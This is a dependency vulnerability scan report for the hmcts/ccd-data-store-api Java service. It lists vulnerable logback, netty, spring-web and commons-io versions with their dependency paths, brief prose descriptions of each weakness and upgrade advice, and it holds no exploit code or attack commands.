  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the JaninoEventEvaluator extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.

Remediation

Upgrade ch.qos.logback:logback-classic to version 1.3.15, 1.5.13 or higher.

References

medium severity

External Initialization of Trusted Variables or Data Stores

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.3.16, 1.5.19 or higher.

References

medium severity

Improper Neutralization of Special Elements

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the JaninoEventEvaluator extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.3.15, 1.5.13 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up.

An additional case of this vulnerability was fixed in 4.1.61.Final (CVE-2021-21409).

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.60.Final or higher.

References

medium severity
new

Session Fixation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Session Fixation via session fixation handling. An attacker controlling a compromised subdomain can obtain a known session identifier and subsequently cause it to be associated with an authenticated user session, allowing unauthorized use of the victim's authenticated session.

Note: This is only exploitable if an attacker can control or execute script within a subdomain of the target application (for example through a cross-site scripting vulnerability).

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: commons-io:commons-io
  • Introduced through: commons-io:commons-io@2.5, io.searchbox:jest@6.3.1 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api commons-io:commons-io@2.5
    Remediation: Upgrade to commons-io:commons-io@2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 commons-io:commons-io@2.5
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
